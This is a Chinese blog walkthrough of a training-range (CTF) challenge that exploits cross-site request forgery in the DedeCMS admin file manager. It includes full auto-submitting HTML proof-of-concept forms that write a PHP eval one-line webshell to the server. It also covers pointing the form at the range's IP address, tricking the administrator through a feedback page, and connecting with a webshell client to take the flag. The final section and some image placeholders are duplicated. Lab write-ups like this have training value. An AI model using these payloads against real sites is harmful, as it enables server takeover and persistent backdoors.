[zkaq靶场]CSRF--dedecms跨站请求伪造

CSRF

靶场环境

首页:

image-20210324233358314

本地测试

dedecms。

在本地搭建dedecms测试环境。

后台提供的新建文件功能。

image-20210324224733949

第一步、测试新建文件功能:

点击新建文件:

在此处新建一个一句话木马。

image-20210324224859076

可以新建php文件。

第二步、生成CSRF Poc

这次我们新建一个2.php文件,文件内容依然是与上面一样的一句话木马。

然后抓包该请求。

image-20210324224216801

将该请求生成CSRF Poc。

保存成2.html。

然后在同一个浏览器的新标签页下打开2.html

image-20210324225359838

点击submit。

image-20210324225416953

image-20210324225426355

2.php文件新建成功。

这时,我们就可以认为此处存在CSRF漏洞。如果,我们将2.html进行一些美化,不需要点击submit,让它访问时就立刻新建文件。

一开始的2.html

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.17.144/dedecms/uploads/dede/file_manage_control.php" method="POST">
      <input type="hidden" name="fmdo" value="edit" />
      <input type="hidden" name="backurl" value="" />
      <input type="hidden" name="activepath" value="&#47;dedecms&#47;uploads&#47;uploads" />
      <input type="hidden" name="filename" value="2&#46;php" />
      <input type="hidden" name="str" value="&lt;&#63;php&#32;eval&#40;&#36;&#95;GET&#91;&apos;cmd&apos;&#93;&#41;&#63;&gt;" />
      <input type="hidden" name="B1" value="&#32;&#32;�&#191;&#157;&#32;�&#173;&#152;&#32;&#32;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

添加自动提交函数的2.html

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form id="go" action="http://192.168.17.144/dedecms/uploads/dede/file_manage_control.php" method="POST">
      <input type="hidden" name="fmdo" value="edit" />
      <input type="hidden" name="backurl" value="" />
      <input type="hidden" name="activepath" value="&#47;dedecms&#47;uploads&#47;uploads" />
      <input type="hidden" name="filename" value="2&#46;php" />
      <input type="hidden" name="str" value="&lt;&#63;php&#32;eval&#40;&#36;&#95;GET&#91;&apos;cmd&apos;&#93;&#41;&#63;&gt;" />
      <input type="hidden" name="B1" value="&#32;&#32;�&#191;&#157;&#32;�&#173;&#152;&#32;&#32;" />
      <input type="submit" value="Submit request" />
    </form>
    <script type="text/javascript">
    	function autoSubmit() {
    		// 自动提交函数
    		document.getElementById('go').submit();
    	}
    	setTimeout(autoSubmit,50);//在指定的毫秒数后调用函数或计算表达式
    </script>
  </body>
</html>

靶场攻击:

靶场的首页地址为:

http://59.63.200.79:8010/newcsrf/

我们的测试环境首页地址为:

http://192.168.17.144/dedecms/uploads/

dedecms/uploads/=newcsrf/

根据上面的测试新建文件功能的时候可知,我们本地上传文件的工作目录为:/dedecms/uploads/uploads

那么我们需要文件上传的地址是**/newcsrf/uploads**下

我们2.html中表单提交的地址为:

http://192.168.17.144/dedecms/uploads/dede/file_manage_control.php

那么为了完成CSRF攻击,我们需要找到靶场的:dede/file_manage_control.php地址。

当我们访问这个地址时:59.63.200.79:8010/newcsrf/dede/file_manage_control.php,

会让我们跳转到login的链接。

但是当访问一个错误的地址时,会返回不存在。

访问/dede时跳转,访问错误的/dededdddd时会返回错误。

image-20210324234604803

说明/dede这个目录是存在的。

那么file_manage_control.php应该没有被修改,同样存在。

所以html中action的地址为:

http://59.63.200.79:8010/newcsrf/dede/file_manage_control.php

新建文件的工作目录改了,action 的地址也改了,那么就可以生成Poc了,然后保存成3.html。

然后上传3.html,在问题反馈页面诱导管理员点击。

image-20210325220944593

3.html:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form id='a' action="http://59.63.200.79:8010/newcsrf/dede/file_manage_control.php" method="POST">
      <input type="hidden" name="fmdo" value="edit" />
      <input type="hidden" name="backurl" value="" />
      <input type="hidden" name="activepath" value="&#47;newcsrf&#47;uploads" />
      <input type="hidden" name="filename" value="2&#46;php" />
      <input type="hidden" name="str" value="&lt;&#63;php&#32;eval&#40;&#36;&#95;REQUEST&#91;2&#93;&#41;&#63;&gt;" />
      <input type="hidden" name="B1" value="&#32;&#32;ä&#191;&#157;&#32;å&#173;&#152;&#32;&#32;" />
      <input type="submit" value="Submit request" />
    </form>
	<script>
		function validate(){
			document.getElementById('a').submit();	
		}
		setTimeout(validate,100)
	</script>
  </body>	
</html>

在管理员访问该页面后,就会在newcsrf/uploads下生成2.php文件,然后访问2.php即可成功getshell。

image-20210325221149621

最后通过菜刀连接找到flag。

image-20210325221622284

ml>


在管理员访问该页面后,就会在newcsrf/uploads下生成2.php文件,然后访问2.php即可成功getshell。

[外链图片转存中...(img-CC01PY91-1620553593886)]

最后通过菜刀连接找到flag。

[外链图片转存中...(img-cPNByFt1-1620553593887)]

![image-20210325221652420](https://img-blog.csdnimg.cn/img_convert/fca2f8107f89c3dafda9d75fcc3d8447.png)
  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值